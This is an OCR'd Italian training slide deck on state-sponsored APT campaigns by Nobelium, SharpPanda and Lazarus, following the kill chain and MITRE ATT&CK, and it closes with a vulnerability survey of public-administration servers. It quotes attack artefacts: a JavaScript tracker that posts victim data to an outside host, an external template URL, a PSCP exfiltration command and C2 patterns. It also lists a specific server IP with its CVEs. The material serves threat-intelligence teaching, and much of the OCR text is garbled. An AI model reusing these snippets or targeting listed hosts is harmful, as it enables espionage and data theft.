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Chi sono i cyber threat actor?

Script kiddle: ottenere prestigio o vantarsi di un attacco/risultato
Hacktivist: cambiamento sociale, promuovere programmi politici, terrorismo
Qinsider: problemi personali, problemi economici, problemi di lavoro Competenze tecniche

Organized cybercrime: guadagnare denaro

Advanced Persistent Threat: spionaggio, guerra cibernetica, sabotaggio




Cos’e un APT

(JAdvanced: dotato sia di elevate competenze tecniche sia di cospicue risorse tecnologiche ed
economiche

Persistent: non vi € una mentalita predatoria e opportunistica mirata al raggiungimento di obiettivi
immediati. L'approccio e persistente, mantenere |'accesso ai sistemi per il pit lungo tempo possibile
e un fattore chiave di ogni APT

UThreat: € una minaccia organizzata, dotata di scopi, volonta ben precisa e visione strategica. Non €
un tool automatico che effettua attacchi a strascico sperando di ottenere qualcosa, uno scriptkiddie
senza meta, o un hacktivist con degli ideali.
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Dwell Time

Nella Cybersecurity, il «Dwell Time» € il tempo che intercorre tra l'iniziale compromissione di un attore
malevolo ai danni di una organizzazione e il momento in cui I'organizzazione scopre la presenza
dell’aggressore.
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Obiettivi degli APT




Cyber kill chain
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Da chi dinendono gli APT?

State Affairs Commission
(Kim Jong-un : Chairman of State Affairs Commission,
Supreme Commander of Korean People’s Army,

and Chairman of Central Military Commission of Workers' Party of Korea)
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Cyber-offensive degli APT nel 2021

Nobelium SharpPanda Lazarus
Group Group Group

Russia Cina Nord Korea
Cnyx6a BHelwHen pa3Beaku (SVR) Choson inmin'gun
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APT Nobelium - attacco a circa 3.000 account individuali in piu di 150
organizzazioni

U Target: organizzazioni governative, organizzazioni non governative (ONG), Think tanks, forze
militari, fornitori di servizi IT, aziende di tecnologia e ricerca sanitaria, fornitori di telecomunicazioni

[ Scoperto da: Microsoft Threat Intelligence Center (MSTIC)
1 Periodo dell’attacco: 2019 fino al 2021

O Attore: Nobelium (Russia)

W Scopo: Spionaggio




APT Nobelium - Reconnaissance @

Email di phishing con URL vuota appartenente al servizio Firebase. \/iene tracciato solo l'utente che
cliccala URL.

try {
let sdfgfghi = '';

let kjhyul = new XMLHLtpRequest();

kijhyui.open('GET', "https:/fapi.ipify.org/?format=jsonp?callback=?", false);

kjhyui.onreadystatechange = function (){

sdfgfghj = this.responseText;

}

kjhyui.send(null);

let ioiolertsfsd = navigator.userdgent;

let uyio = window.location.pathname.replace('/',""};

var ctryur = {"io’:iciolertsfsd, 'tu'iuyio, 'sd":sdfgfghil;
ctryur = JSON.stringify(ctryur);

let sdfghfgh = new XMLHttpRequest();

sdfghfgh.open("POST", "https://eventbrite-com-default-rtdb.firebaseio.com/root.json’, false);

sdfghtgh.setRequestHeader( ' Content-Type®', 'application/json’);

sdfghfgh.send(ctryur);
¥ catch (&) {}




APT Nobelium - Weaponization ‘%

Esperimenti e tentativi:
[ Malware ISO inserito direttamente nel file HTML

L Redirect del file HTML verso un file ISO che contiene a sua volta un file RTF con all'interno la DLL di
Cobalt Strike Beacon

O URL che punta ad un sito Web indipendente che falsificava le organizzazioni mirate, da dove e stata
distribuita I'lSO

4 file HTML contenente un Javascript in grado di scaricare un file ISO
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i @ USAID Special Alert!
° °
A PT N o b e I I u m - D e I Ive ry :- o ?:AID <ashainfo@usaid.gov> € Reply | 9 Reply All T:;::;Zj | 1.;.»1

 Email di spear-phishing con allegato il file \_j USAID
HTML

U.S. Agency for International

| — Development
> . May 25, 2021

Spear-phishing attachment HTML
email htmi smuggling

USAID Special Alert:

Donald Trump has published new documents on
election fraud

J Email di spear-phishing con link al file 1SO:

O https://r20.rs6[.]Jnet/tn.jsp?f= Visit our website
O https://usaid.theyardservice[.]Jcom/d/<target_email _address> And visit us at

0006

USAID Office of American Schools and Hospitals Abroad | 1300 Pennsylvania Avenue NW,
Washington, DC 20004

Unsubscribe

Update Profile | Constant Contact Data Notice

Sent by ashainfo@usaid.gov
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APT Nobelium - Exploitation 1:?:”3

1 File DLL che e un loader del tool Cobalt Strike Beacon
1 File PDF innocuo

 uno shortcut, chiamato Reports.Ink, in grado di
invocare la DLL

Manage DVD Drive (F:) DECLASS
Share Wiew Drive Tools
> This PC > DVD Drive (F)) DECLASS w Q)

MName Date modified Type

i
Documents.dll f22/2021 11:.06 AM Application extens...

j @ ICA-declass.pdf f22/2021 11:09 AM Microsoft Edge PD...
5

2/ Reports 472272021 11:06 AM Shortcut
ts »

Si

[

Reports Properties .t

Shortcut

General Details

Reports
L]

Target type:  Application

Target location:

Target: %%/ system32/explorer.exe Documents.dll,Oper|
Start in:
Shortcut key:  |None
Run: Mormal window B
Comment:
Open File Location Change Icon... Advanced...
OK Cancel Apply
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APT Nobelium - Installation / Command and Control ol

i)

1 Viene installata la persistenza e il tool Cobalt Strike Beacon

Beacon 172.16.20.157@2368 X ‘ Interact

beacon> pwd Access
Tasked beacon to print working directory -
[+]1 host called home, sent: 8 bytes Browser Pivot
Current tilil'e::tory is C:\Users\whatta.hogg\Desktop Pivoting Desktop (VNC)
beacon> getuid
Tasked beacon to get userid . Spawn File Browser
[+]1 host [d'l}&(l home, sent: 8 hytes Session * | Net View
You are GLITTER\whatta.hogg
beacon> ep 3 Port Scan
Tasked beacon to sleep for 30s (20% jitter)
[+] host called home, sent: 16 bytes

Process List

Screenshot

[GRANITE] whatta.hogg/2368 last: 23s

Actions on Objectives [i“‘:;

J Movimenti laterali
(J Data exfiltration
1 Delivery di nuovi malware
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APT Nobelium - MITRE

Resource Initial - . Privilege Defense Credential - Lateral - Command
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Information Capabilities Additions Client Execufion Serips Seripts on Host Pecess Discovery Hijacking Collection Protocols Over C2 Channel Manipulation
Gather Victim Establish . L InterProcess Browser Create or Modify Deobiuscate/Decode Forced Cloud Service Remote Browser Session Exiliraton
Phishing ot " Fies . - DNS Qver Oer Defacement
Org Information Accounts Communication Extensions SystemProcess or Informaton Authentication Dashboard Services Hijacking Network Medium
e hi A hish . Compromise Domain Polic' Cloud Service Replicaiion i Communicafion Exfilraton .
Phishing for Obtain Spearphishing Native API Client amn Foliey DEEy Forge Web i Through Clipboard Through over Disk Wipe
Information Capabilities Aachment Software Binary Modification Container Credentials Discovery Removable Media Data Removable Media Physical Medium
Search Closed Stage Spearphishing Scheduled Create Escape Direct Inpu‘t Cloud Storage Sofware Data from Cloud Data Exfliraton Endpoint Denial
Sources Capabilities Link Task/Job Account to Host Volume Access Capture ObjectDiscovery DeploymentTools Storage Object Encodi ng Over Web Service of Service
Search Spearphishing Shared Create or Modily Event Triggered Domain Policy Modity Container Taint Shared Dai rom Data Scheduled Firmware
Open Technical . - . Authenficafion and Resource Configurafon . .
Datbases via Service Modules System Process Execution Modification Process Discovery Content Repository Obfuscation Transfer Corruption
Search Open Replicaton Software Event Triggered Exploiiation Execution Network Domain Trust Use Allernaie Daia Dynamic Transfer Data Inhibit System
B B Through N for Priviege . . . Authenfication from Information .
Webs fles Domains Removable Media Deployment Tools Execution Escalation Guardrails Sniffing Discovery Material Repositories Resolution fo Cloud Account Recovery
Search i External Hijack Exploitation o QOS Credential File Network Denial
T Guned Supply Chaln Syst?m ) lack plataton or k and Direcory Data from Encrypted k
Websiles Compromise Services Remote Services Execution Flow Defense Evasion Dumping Discovery Local System Channel of Service
Trusted Hijack Process Flle and Directory Seeal Group Palicy Daia Fallback Resource
N R N . . Permissions Applicaion . from Network . .
Relationship Execution Flow Injection Modiicaon Access Token Discovery Shared Drive Channels Hijacking
Valid Implant Scheduled Hide Steal or Forge Network Service Data from Ingress Tool Service
Accounts Internal Image Task/Job Artifacts Kerberos Tickets Scanning Removable Media Transfer S‘[op
ici Modiy i Hilack Steal Web Network Share i- System
Mallcmus Amentcaton Valid I : ) ¢ Data Staged Multi-Stage ¥
File Process Accounts Execution Flow Session Cookie Discovery Channels Shut down/Reboot
e Ofice i Two-Factor H Non-Application
Malicious aieaton Impair e Ngtwork Email ) pp
Image Starlup Defenses Interceplion Sniffing Collection Layer Protocol
Windows Indicator Password Polic
Management Pre-0S Boot U nsec:ured ¥ Input Non-Standard
Insrumentaion Removal on Host Credentials Discovery Capture Port
Scheduled IndirectCommand Peripheral Screen Protocol
Task/Job Execution Device Discovery Capture Tunneling
Server Software : Permission Video
nt Masquerading Groups Discovery Captl-lre P roxY
Traffic Modily Process Remote Access
. - Authentcaton .
Signaling Process Discovery Software
; Modily
Valid Cloud Compute Que_ry T_raf'ﬁc_
Accounts Infastruciure Reglstry Slgnallng
Modi Remote System .
. fy - Web Service
Registry Discovery
Modify Software
System Image Discovery
Network Boundas System




APT SharpPanda - colpiti i governi del sud-est asiatico con una
backdoor sconosciuta

O Target: Governi del sud-est asiatico

U Scoperto da: Check Point Research

U Periodo dell’attacco: 2018 fino al 2021
O Attore: SharpPanda (Cina)

1 Scopo: Spionaggio




APT SharpPanda - Reconnaissance @
N/A

Weaponization ‘%

1 DOCX in grado di scaricare un template file RTF (tool RoyalRoad)
1 DOCX Exploit vulnerabilita Equation Editor
O Multi Stage Attack

Easam@smmrﬂsﬂil

1 <?xml wversion="1.0" encoding="UTF-8" standalone="yes"?2:>
[E <Relationships xmlns="http://schemas.openxml formats. org/package/2006/relationships">

<Relationship Id="rId8608" T?pe=”EEEE:ffschemas.cpenxmlfnrmats.nrqfnffiueDncumenthDDEfrelatinnshipsfattachedTemplate“
Target="http: //f45.91.225.139/ipad/Main. jpg"
Ta:gEtHDde=”External”f>

«</Relationships>

[ T ¥ 3 (RS P R % |




APT SharpPanda - Delivery -

1 Email di spear-phishing indirizzata verso dipendenti dei governi nel sud-est asiatico
con allegato DOCX

CENTRAL | COMMITTEE

No: /BTGTW

Wl i 23 2021

Outline

of I o1 the vesuits of the [l session, the Il National As-

sembly

The Central _ Department has issued the Outline to -
- the results of the .th session. the - National Assembly. We are
pleased to introduce to you the full text of this thesis.

I. THE GENERAL CONCEPT OF ACTIVITIES

The [Jth session, which is the last session of the JJjth term of the Na-
tional Assembly, takes place in the context that the entire Party, | and

army are actively implementing the Resolution of the [Jfjih National Con-

gress of the National Assembly. Party, prepare for the election of deputies
to the b National Assembly and [l Councils at all levels for the
2021-2026 term. After 12 working days with a high sense of responsibility,

democracy, and solidarity (from the 24th of December). From March 3,2021
to April 8, 2021, the .th session, the - National Assembly completed
many important contents and programs, such as: law-making work, summa-
rizing the work of the term, consider and decide on important issues of the

country, especially consolidating leadership personnel of the state apparatus.

II. CONTENT AND RESULTS

1. Summary of work for the term 2016-2021

Under the leadership of the Party and the close and synchronous coor-
dination of state agencies, mass organizations, [JJJpolitical organizations,
the [l National Assembly has always made great efforts and determination
to fulfill its role as a member of the National Assembly. the highest repre-
sentative body of the [JJJll. the highest organ of state power of the ||l
_, increasingly deeply expressed as the embodiment of
the great national unity bloc: constantly innovating strongly, always acting
in the interests of the il and the country; achieved positive and compre-
hensive results in the fields of legislation, supervision and decision-making
on important national issues and foreign affairs, as follows:

- The National Assembly has promulgated many legal documents to
promptly institutionalize the Party's guidelines and guidelines and continue
to concretize the ] Constitution. meeting the requirements of state man-

agement, economic development and economic development. socio-eco-




APT SharpPanda - Exploitation 15"%3
O RovalRoad RTF decifra il downloader (DLL 5.t)  {rheddens

O DLL 5.t, eseguita mediante rundll32.exe, | :
Contatta || prlmo C2 Vla GET HTTP Se ' c S,izle::s;E:Eﬂgzcilgﬁc.g\xaa\x124u)¢\x9a\:az-;umrz'
SharpPanda, reputa la vittima interessante, ' T
scarica lo stadio successivo

O Lo stadio successivo e il Loader in

Windows Update

zl grado di contattare un secondo C2
‘ Sh'd'lc? k e caricare in memoria la backdoor
finale

Main.jpg

2 — §
RTF

DOCX DLL DLL DLL
Delivery document Equation Editor exploit Downloader Loader Backdoor
L’ WWWJ Lb wWww -'IJ
C&C server C&C server
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APT SharpPanda - Installation

Ll .

Windows Update

o esew e
Ho
Scheduled task

Main.jpg 5.1
F-
Equation Editor exploit Downloader

4 La persistenza sul sistema viene garantita da un task schedulato ogni giorni
chiamato «Windows Update» che invoca |'eseguibile rundll32.exe che esegue la
funzione «StartW» presente nel file «5.t»

O L'utilizzo di «StartW» come funzione esportabile € comune con le DLL di Cobalt
Strike
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APT SharpPanda - Command and Control (‘¢
-

N DLL l DLL '

[y _

8

£}
Dovwnloader Backdoor

el le ]!

N4 A=

CA&C server CA&C server

O DLL 5.t raccoglie dati sul computer della vittima tra cui nome host, nome e versione
del sistema operativo, tipo di sistema (32/64 bit), nome utente, indirizzi MAC degli
adattatori di rete. Richiede inoltre a WMI le informazioni sull'antivirus.

 https://<C&C IP>/<working_folder>/Main.php?Data=<encrypted_data> with the
User-Agent Microsoft Internet Explore

1 DLL Loader invia un CONNECT HTTP/1.1 verso un secondo C2 per avviare ulteriori
controlli se caricare in memoria la backdoor
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APT SharpPanda - Actions on Objectives E‘E

Funzionalita della Backdoor:

4 Elimina/Crea/Rinomina/Leggi/Scrivi file e ottieni gli attributi dei file
 Ottieni informazioni su processi e servizi

4 Ottieni screenshot

 Esegue i comandi tramite cnd.exe / Crea/Termina processo

4 Ottieni tabelle TCP/UDP

 Ottieni i dati delle unita CDROM

 Ottieni informazioni sulle chiavi di registro

( Ottieni i titoli di tutte le finestre di primo livello

1 Estrae informazioni come nome del computer, nome utente, indirizzo gateway,
versione di Windows (versione principale/minore e numero di build) e tipo di utente

4 Spegni il PC

Formez.PA




APT SharpPanda - MITRE

o Resource Initial s N Privilege Defense Credential : Lateral = Command _
Reconnaissance Execution Persistence : ! Discove Collection Exdiltration
Dev elopment Access Escalation Evasion Access ry Mov ement and Control Im paCt
Active Acquire Drive-by g&;’g‘ﬁ;‘zﬂg Account Abuse Elevation Abuse Elevation sy e Account Exploitation of o i Application Automated Account
. n - . . . ary-i = - N ersy-inthetiddie "
Scanning Infrastructure Compromise Inferpreier Manipulation Confrol Mechanism Gonfrol Mechanism " Discovery Remote Services - Layer Protocol Exfiltration Access Removal
Gather Vicm Compromise Explot Access Token Access Token Application Intemal Archive Web Data Transfer Data
- Public-Facing PowerShell N "~ = o N 5 ~ - - P .
Hostinformaton Accounts Application BITS Jobs Manipulation Manipulation Brute Force Window Discovery Spearmhishing Colected Data Protocols Size Limits Destruction
Gather i Boot Boot i ; i Exfiraton
Vietm identty Compromise External i AppleScript or Logon Autostart of Logon Autostart B |T S JO bS Credentials from Browser Bookmark Lateral Tool Audio File Transfer Over Aarnatve Data Encrypted
nformation Infrastructure Remote Services Execution Executon Password Stores Discovery Transfer Capture Proiocols Protocol for Impact
Gather Bootor Logon Bootor Logon i 3 Cloud F i it rath
Victm Network Develop | Hardware Windows Infializason Ifialzaton Build Image Exploftaiion for Infrastructure Remofe Service Automated Mail Exitration Data .
Information Capabilities Additions Command Shell Scripts Scrips on Host Cradential ACCess Dis covery Session Hijacking Collection Protocols Over C2 Channel Manipulation
Gather Victim Establish B . Unix Browser Greate or Modify DeobluscateDecode Forced Cloud Service Remote Browser Session Exiliraton
Ph , Files s o Over Other
Org Information Accounts IShIng Shell Extensions SystemProcess or Information Authentication Dashboard Services Hijacking DNS Network Medium Defacement
Phishing for Obtain Spearphishing Visual Compromise Client Domain Policy Deploy Forge Web Cloud Service Rer%':;:“" Clipboard _I‘E'_“]"g’u";':'iﬁa'“" Exiilraton Over Disk Wipe
Information Capabilities Aftachment Basic Sofware Binary Modification Container Credentials Discovery Removable Media Data Removable Media Physical Medium P
Search Closed Stage Spearphishing th Create Escape Direct Input Cloud Storage Somware Data from Cloud Data Exfiraton Endpoint Denial
Sources Capabilities Link I ython Account to Host Volume Access Capture ObjectDiscovery Deploy mentTools Storage Object Encoding Owver Web Service of Service
Search Spearphishing Create or Modify Event Triggered Domain Policy Modify Container and Taint Shared Data Standard Scheduled Firmware
Open Technical JavaScri N " N Authenicaton from Configurafion - N
ngases via Service it SystemProcess Execution Modification Process Resource Discovery Content Repos il]rs Encoding Transfer Comuption
Replicaton C Exploitation 1 i Use Aliernaie Daia -
Sean:_hcvpen ] Tran MNetwork Event Tnggered P iege Execuﬂpn NeMOH( mealn Trust faternat D ormation Non-Standard Transfer Data Inhibit System
Websttes/Domains Removable Media Device CLI Execution Escalation Guardrails Sniffing Discovery Material Reposilories Encoding 1o Cloud Account Recovery
Search i Container i 1 it i
Jearch wned Supply Cham e o External ) Hijack ) Explonanunhrr os Cr!adentlal F!e and Directory Data from Data 7 Netwon_c Denial
Websites Compromise Command Remote Services Execution Flow Defense Evasion Dumping Discovery Local System Obfuscation of Service
Trusted Deploy Hijack Process EE,?,?.;';‘?,-B‘,{S“““" Sieal Application Group Policy Data fom Network Dynamic Resource
Relationship Container Execution Flow Injection Medificafion Access Token Discovery Shared Drive Resolution Hijacking
Valid Exploitation for Implant Scheduled Hide Steal or Forge Network Service Data from Encrypted s _ st
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APT Lazarus - colpite societa del settore difesa con la backdoor
ThreatNeedle

U Target: societa di difesa

[ Scoperto da: Kaspersky Threat Intelligence
[ Periodo dell’attacco: 2020

O Attore: Lazarus (Nord Korea)

1 Scopo: Spionaggio




APT Lazarus - Reconnaissance @

O Informazioni mirate verso le aziende target raccolte da fonti pubbliche

Weaponization ‘%

1 DOCX allegato ad una email contenente una macro in grado di scaricare stage
successivi




APT Lazarus - Delivery -

1 Email di spear-phishing a tema «infezione COVID-19» con allegato DOCX

BT 02.06 I'/D:'-l = B |- 20200525_001.doc [Compatibility Mode] - Microsoft Ward
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Veaxaemsle paboTHikn Oburectsa,

V aByX 4enoBek H3 4iciIa pyxono,:lcma_ BBIABILII HOBYIO KOPOHABHPYCHYH HHpekumo COVID-19.
ITo3ToMy MBI aHOHCHPOBAMI HOBEIE OOHOB/IEHHbIE MHCTPYKIIMII 10 NPOQIUIAKTIKE 1 ANarHOCTIKe KOPOHABHPYCHOI HH(eKIII.

Me1 npociM Bac BHIMATeIbHO MPOYNTATh H TIIATEIBHO CI€10BaTh HHCTPYKIIIAM.

INamsATKA O KODOHaBl!DYCHOﬁ II.HQCQIIII
[IpodniakTnka rpunma i KOPOHABHPYCHOI HHGEKIIH

Bepermnre cBoe 310poBEe!

C yBakeHIIeM,

3amecTHTeIb [TaBHOTO Bpata 1o JedebHoil paboTe

[B I U -abe x, x* |2
(7~ A~ Aa-||A 47|

Font (F]

Shyles

Yto Taroe NpoPHIAKTHISCKHH 0CMOTP H THCTIAHCEPHI AIHA?

IlpopunaxTudeckuii oCMoTp H OHCOAHCEPHIANHA — 5To DECHIATHOE MEHUHHCECE
obCNeqoEalHe, UENL  KOTOPoTe paHHes BHABNEHHE XPOHHYECKHE HeHHDEKIHOHHEX
saboleBanul, AEMMOL[HXCA OCHOBHOH NOpHYHHOR HHBANHZHOCTH H OpeXNeBpeMeHHOR
CMEpPTHOCTH HaceneHHA Poccufickol Tepepauus (cepnedHo-coCyQUCTHE, OHKOIOTHYECKHE,
EpOHHYECKHE 2aboNeEaHHH OpraHoE NHXAHHA, caxapHoro nHabera). He Memee Bamuo, 4To B
OpOLECCe STHX MEPONPHATHE BHABLMOTCA (QAKTOPH pPHCKA HX pPasBHTHA CpegH HHD
NOEEINEHHHE VHOoBEHE apTEPHATRHOTG NAENEHHA, NOBLHINEHHHE VpoBeHL XONECTEpHHA H
[MICKC3E B KPOBH HATOIAK, KypeHHe Tabara, pHCK HarybHoro DoTpebleHHA anKOrond,
HEpAIHOHANEHOE NMHTAHHE, HHSEYKO (HIHYECKYH) aKTHEHOCTb, H3DEITOMHYIO Maccy Tela HIH
OEHPEHHE.

HJucnancepnsalna - 5T0 BH3AT ¥ BPady ¢I0Ka HHYEro He DOTHTy.

E cnoydae BLIABNEHHA NpH3HAKOE 3ab0lEBaHHA 3TO IMAHC BOBPEMA HaZaTh JEUeHHE, 4TO
Boerma shherTHEHEE M MO3BONAET HoOHTLCA He TONMLKO ONHTENRHOH PEMHCCHH, Ho H HONHOTO
BLI2IOPOENEHHA [IpH HaNHYHH [NOBENeHYECKHE, VCTPAHHMEX (QakTopoB pHCKa sabolepaHui
CEOEBPEMEHHAA HX KOPPEKIHA cHocobHa IpefoTEpaTHTh saboneBanue.

Ilo cyTr, 570 War ¥ MeZHUEEe OYIVINEre — MESHUHHE OpodEIaKTHIECKoH !
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APT Lazarus - Delivery (2) _

I e e

3To 3aBHCUT OT COBMECTITMOCTIT IIpocMOTpa JOKYMEHTOB.
Homaﬂyﬁcm, HaKMIITE KHOIIKY «BRII09InTh COOepKIIMOe» Ha JKENTOI KHOIIKE B BEPXHEI:’[ HacTII CTPAHIIIEL, 9ITODE IIpaBILIBHO HACT]
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APT Lazarus - Exploitation 1:?:13

 Una volta abilitate le macro nel file DOCX allegato, viene avviata l'infezione multi-
stadio, volta a scaricare e avviare il loader ThreatNeedle

1 Payload path: %APPDATA%\Microsoft\Windows\lconcaches.db

 Shortcut path: %APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\OneDrives.Ink

Q rundli32.exe [dllpath] rao rsomal

Executes wit..
parameters {§} ,I, {c‘;}
-

ThreatNeedle Installer ThreatNeedle
Loader Loader

document Creates in
Startup foldef .
= g

- .LNK
l Shortcut file J

Initial Infection

Formez.PA




APT Lazarus - Installation

Executes wit.

-~ .doc
Macro-embedded

Creates in

l Shortcut file J

Initial Infection

La persistenza viene garantita mediante un file di tipo .LNK all'interno delle cartelle:

O C\Users\NOMEUTENTE\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup

d C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Formez.PA
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APT Lazarus - Command and Control

1 SSH tunnel creato con un tool creato dal gruppo

________________________________________________________

O IP SRC;Port SRC;IP DST; Port DST IE' T
d Traffico cifrato in XOR con chiave «d» =
4 Esfiltrazione dati tramite il tool PuTTy PSCP ((ﬁ)) Lateral movement
Q %APPDATA%\PBL\unpack.tmp -pw [password]
root@[IP address]:/tmp/cab0215 Ig: inplant sdditional

%APPDATA%\PBL\cab0215.tmp e — 5
J Upload dei dati su C2 con richieste HTTP POST

Actions on Objectives (3 7=

J Furto di dati e documenti sensibili
4 Spionaggio




APT Lazarus — MITRE

. Resource . = - Privilege Defense Credential H Lateral = Command -

Reconnaissance Develapment Initial Access Execution Persistence Eccalation Evacion Discovery Movement Collection Exfiliration Impact
Active Acquire Drive-by Account Abuse Hevation Abuse Elevation Account Explottation of Automated Account
Scanning Infrastructure Compromise Manipulation ControlMechanism Confrol Mechanism Discovery Remote Services Exfiltration Access Removal
Gather Victim Compromise Exploit Public-Facing Access Token Access Token Application Internal Data Transfer Data
Hostinformation Accounts Application P Shel B l TS JOb 5 Manipulation Manipulation Window Discovery Spearphishing Size Limits Destruction
GatherVictim Compromise External Bootor Logen Bootor Logen ARP Cache Browser Bookmark Lateral N File Transfer Exciltration Over Data Encrypted
\dentity Information Infrastructure Remote Services AppleScript Autostart Execution Autostart Execufion B lT S JODS Poisoning Discovery Tool Transfer Audio Capture Protocols Altemative P rotocol for Impact
Gather Vicim Develop Hardware Bootor Bootor Build Brute F Cloud Infrastnucture Remote Service Automated Mail Data
Network Informaon Capabilities Logen inalizstin Lagon nisizaien Image on Host r orce Discovery Session Hiacking Collection Protocols Manipuation
Gather Victim Establish Browser Credentals fom Cloud Service Browser Session Exciltration Over
Org Information Accounts Unix Shel Extensions Password Sores Dashboard Hilacking DNS e Ntk Mesum Defacement
Phishing for Obtain Visual Compromise Client Launch Deploy Exploitation for Cloud Service Remote Deskiop Gommunicaticn Through Exiilration Over =
Information ‘Capabilities Basic Software Binary Agent Container Credental Access Discovery Frotocol Cipboard Data Removable Media Physical Medium DI Sk VVi pe
Search Stage Systemd Direct Forced Cloud Storage Data from Cloud Exilraion Endpaint Denial
Closed Sources Capabilities Py‘thOI"l Create Account Service Volume Access Authentication ObjectDiscovery Storage Object OverWeb Service of Service
Search Open Spearphishing Domain Policy Forge Web Container and Distibuted Data Standard Scheduled Firmware
Technical Databases via Service JavaScript Modification Credentials Resource Discovery 3:"55“@':“ gn;:;:ﬂv’ﬁ’gnannn Enc Transfer Corruption
Search Open Replicafion Through Network Launch Execution Input Capture Domain Trust SSH Data from Information Transfer Data Inhibit System
Websites/Domains Removable Media Device CLI Agent Guardrails Discovery Repositories fo Cloud Account Recovery
Search Vicim-Owned Supply Chain Cantainer Systemd Domain Policy Exploitation for Mogify Authertication VN C Data from Data Network Denial
Websites Compromise fmnstmben Service Modification Defense Evasion Process Local System Obfuscation of Service

Trusted Deploy File and Network Group Policy ‘Windows Remote Data fom Network Resource
Relationship Container Escape to Host Pmcter Pemissions Sniffing Discovery Management Shared Drive Junk Data Hijacking
Exploitaion for Event Triggered y , OS5 Credential Network Service Replicaion Through Data from -
Vald Accounts ClientExecution Execution Hide: Artitacts Dumping Scanning Removable Media Removable Media Steganography Service Stop
Inter-Process Event Triggered Escploitaticn for Hijack Steal Application Sofware Data Staged Proiocol System
Communication Execution Frivilege Escalation Execution Flow Access Token DeploymentTools al ag Impersonation Shutdown/ Reboot
Native API External Hijack Impair Steal or Forge Network Taint Emai Dynamic
Remote Services Execution Flow Defenses Kerberos Tickels Sniffing Shared Content Collection Resolution
Scheduied Hijack Process Steal Web Password Policy Use Altemats Encrypted
Task/Job Execution Flow Injection Session Cookie Discovery Aunericaicn Input Capture Channel
Implant Scheduled Clear Windows Two-Factor Peripheral Symmetric
Shared Modules Internal Image Task/Job m::m Device Discovery Screen Caplure Cryplography
Sofware Modify Authenfication Unsecured Permission - Asymmetric
Deploy ment Tools Process. Valid Accounts Credentials Groups Discovery Video Capture Cryplography
Ofice Applicafion Clear Command Fallback
Startup History Channels
Launchctl Pre-OS Boot Query Registry Inaress
Tool Transfer
Scheduled :ﬁ _ Remote System
Task/Job e prmesten Discovery
Server Software Software Non-Application
Compenent Timestomp Discovery Layer Pratocol
Traffic IndirectCommand Non-Standard
Signaling Execution Port
Valid Accounts

Windows Management
Insrumentafion

Invalid Code
Signature
Right-to-Left
Override

Match Legitimate
Name or Location
Space after
Filename

System Location
Discovery

System
Time Discovery




Take home messagges

1 Usare una strategia per mettere in sicurezza la vostra infrastruttura;
1 Seguire delle linee guida (AGID, Matrice MITRE D3FEND o Att&ck)
1 Dubitare SEMPRE!
O Prendeteci cura della vostra (vita e identita digitale)
- Piuttosto che aprire un allegato, chiamate il mittente
- Se pensate sia malevolo, segnalatelo a malware(@cert-agid.gov.it

J In caso di incidente, avvisate subito il vostro ufficio informatico!
1 Bisogna aggiornare il primo dei sistemi: 'ESSERE UMANO



mailto:malware@cert-agid.gov.it

Uno sguardo ai server della Pubblica Amministrazione

93.147.186.162 “ e T

] 22.553 Domini censiti in

I p A @ General Information

Hostnames wranw.cert-agid.gowv.it

J 401.532 Sottodomini
ottenuti da fonti OSINT -

City Ivrea

L 62.749 Indirizzi IP (IPv4) S ——
ottenuti

ASN AS30722

Connection: keep-alive

Vodafane italla 5.p.A. Location: https://93.147.186.162/

443 7 TCP

e

: vul biliti
CVE-2017-7679 In Apache httpd 2.2.x before 2.2.33 and 2.4.x before 2.4.26. mod_mime can read one byte past the end
H O DA N of a buffer when sending a malicious Content-Type response header.
CVE-2017-9798 Apache httpd allows remote attackers to read secret data from process memory if the Limit directive

can be set in a user's .htaccess file, or if httpd.conf has certain misconfigurations, aka Optionsbleed
This affects the Apache HTTP Server through 2.2.34 and 2.4.x through 2.4.27. The attacker sends an
unauthenticated OPTIONS HTTP request when attempting to read secret data. This is a use-after-free
issue and thus secret data is not always sent. and the specific data depends on many factors including
configuration. Exploitation with .htaccess can be blocked with a patch to the ap_limit_section function

in server/core.c

FormezPA




Uno sguardo ai server della Pubblica Amministrazione (2)

La ricerca ha rilevato 495.762 vulnerabilita che affliggono i sistemi della PA

Analisi Qualitativa Analisi Quantitativa

Vulnerabilita peggiore per singolo IP della Pubblica
Amministrazione

Vulnerabilita della Pubblica Amministrazione

2%

Il grafico mostra
cheil 21% dei

server della PA e
potenzialmente
vulnerabile \ @ Q ’

79%

8%

75%

m Critical ® High Medium Low None
m Critical m High Medium Low

Il grafico sopra mostra come sono distribuite, in base alla Il grafico sopra mostra quanto sono diffuse, tra i vari server, le classi di
loro gravita (CVSS), le vulnerabilita trovate ma non dice vulnerabilita. Utilizzando i dati aggregati, in particolare il punteggio CVSS
nulla riguardo la diffusione di tali vulnerabilita sui server peggiore (leggi: piu alto) si puo risalire al numero di IP che hanno almeno
della PA. una vulnerabilita di tipo Low, Medium, High, Critical e None

Formez.PA




NUMERO DI IP UNIVOCI

Uno sguardo ai server della Pubblica Amministrazione (3)

Top 3 vulnerabilita divise per gravita

Top 3 Vulnerabilita ripartite per criticita
12000 11403

10370
9902
10000 9383 9198

7
8000 825

6138 6138
6000

5497

4000

2000

D
i\
cve2010-0425 [ 3
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o
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@
B
&
cve2017-3167 |

cve-2010-2730 [
cve-20103972 [}

CVE-2017-7679

a;f_ CVE-2017-7668
CVE-2018-1312
CVE-2020-1927
CVE-2019-10098
CVE-2016-8612
CVE-2018-1283
CVE-2016-8743

Critical Medium

,_
Q
H

Tutte le vulnerabilita di grado High, Medium e Low sono

riconducibili  al servizio web server Apache.
Quelle  Critical invece sono ripartite su tre
servizi: Microsoft FTP Server, Microsoft IIS e di

nuovo Apache HTTP server.

Mancata
pianificazione
dei processi di

aggiornamento

Obsolescenza

Eta Vulnerabilita
software

OO OO

o o g . o - .
Distribuzione temporale delle vulnerabilita rilevate sulla Pubblica Amministrazione divise per criticita

A o e B I o S . - I
1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021

B Critical ®High = Medium ®Low

Dal grafico notiamo che le vulnerabilita di tipo critico sono state scoperte
principalmente negli anni 2008, 2010 e 2012. Per quanto concerne le CVE
categorizzate come High, quelle piu comuni fanno riferimento agli anni
2007, 2011, 2013, 2017 (con un picco facilmente distinguibile) e 2019 (con
un secondo picco).
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Condivisione di indicatori di compromissione per la protezione della
Pubblica Amministrazione

